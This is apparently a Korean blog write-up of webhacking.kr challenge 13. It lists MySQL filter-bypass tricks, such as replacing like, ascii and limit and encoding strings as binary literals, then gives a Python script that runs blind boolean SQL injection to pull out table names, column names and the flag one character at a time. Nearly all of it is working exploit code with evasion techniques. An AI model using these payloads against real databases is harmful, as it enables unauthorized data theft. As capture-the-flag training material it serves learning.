728x90
MySQL 우회
like -> in,regexp 우회가능
ascii,hex -> ord(결과값 : 아스키코드) 우회가능
limit -> max,min 우회가능 (최대 2개인 경우만)
'h' -> 0b01101000 형식의 2진수로 우회가능. 단, 문자하나당 8비트 이진수로 표현해야함.
substr 결과값=문자 =16진수와 동일
import requests
url="https://webhacking.kr/challenge/web-10/"
#2
def find_table_count():
tb_cnt=1
while True:
query="?no=if((select(count(if((table_schema)in(database()),table_name,null)))from(information_schema.tables))in("+str(tb_cnt)+"),1,0)"
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("table count :",tb_cnt)
return tb_cnt
else:
tb_cnt+=1
#테이블이 2개이므로 min, max를 이용해 각각의 길이 구함
#13(min), 4(max)
def find_table_length():
tb_len=1
while True:
query="?no=if((select(length(min(if((table_schema)in(database()),table_name,null))))from(information_schema.tables))in("+str(tb_len)+"),1,0)"
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("table length :",tb_len)
return tb_len
else:
tb_len+=1
#min 테이블에 답이 있기에 min 테이블 대상으로 풀이
#테이블명 : flag_ab733768
def find_table_name():
tb_len=find_table_length()
print("table name :",end="")
for i in range(1,tb_len+1):
for j in range(30,128):
query="?no=if((select(ord(substr(min(if((table_schema)in(database()),table_name,null)),{},1)))from(information_schema.tables))in({}),1,0)".format(i,j)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print(chr(j),end="")
break
#'문자열' 입력시 13번 문제의 result는 항상 0 출력됨. 따라서 db명을 2진수로 우회해서 사용해야함
#1
def find_column_count():
col_cnt=1
tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
while True:
query="?no=if((select(count(if((table_name)in(0b{}),column_name,null)))from(information_schema.columns))in({}),1,0)".format(tb_name,col_cnt)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("column count :", col_cnt)
break
else:
col_cnt+=1
#열의 개수는 하나지만 내부 if문에서 null을 포함해서 반환하기에 min을 이용하여 열을 특정한다
#13
def find_column_length():
col_len=1
tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
while True:
query="?no=if((select(length(min(if((table_name)in(0b{}),column_name,null))))from(information_schema.columns))in({}),1,0)".format(tb_name,col_len)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("column length :", col_len)
return col_len
else:
col_len+=1
#flag_3a55b31d
def find_column_name():
col_len=find_column_length()
print("column name : ", end="")
tb_name=''.join(f"{ord(i):08b}" for i in "flag_ab733768")
for i in range(1,col_len+1):
for j in range(30,128):
query="?no=if((select(ord(substr(min(if((table_name)in(0b{}),column_name,null)),{},1)))from(information_schema.columns))in({}),1,0)".format(tb_name,i,j)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print(chr(j),end="")
break
#2
def find_data_count():
data_cnt=1
while True:
query="?no=if((select(count(flag_3a55b31d))from(flag_ab733768))in("+str(data_cnt)+"),1,0)"
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("data count :",data_cnt)
break
else:
data_cnt+=1
#max에 답 있음
#4(min),27(max)
def find_data_length():
data_len=1
while True:
query="?no=if((select(length(max(flag_3a55b31d)))from(flag_ab733768))in("+str(data_len)+"),1,0)"
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print("data length :",data_len)
return data_len
else:
data_len+=1
#FLAG{challenge13gummyclear}
def find_data():
data_len=find_data_length()
print("data : ",end="")
for i in range(1,data_len+1):
for j in range(30,128):
query="?no=if((select(ord(substr(max(flag_3a55b31d),{},1))in({}))from(flag_ab733768)),1,0)".format(i,j)
r=requests.get(url+query)
if "<td>1</td>" in r.text:
print(chr(j), end="")
break
find_data()
728x90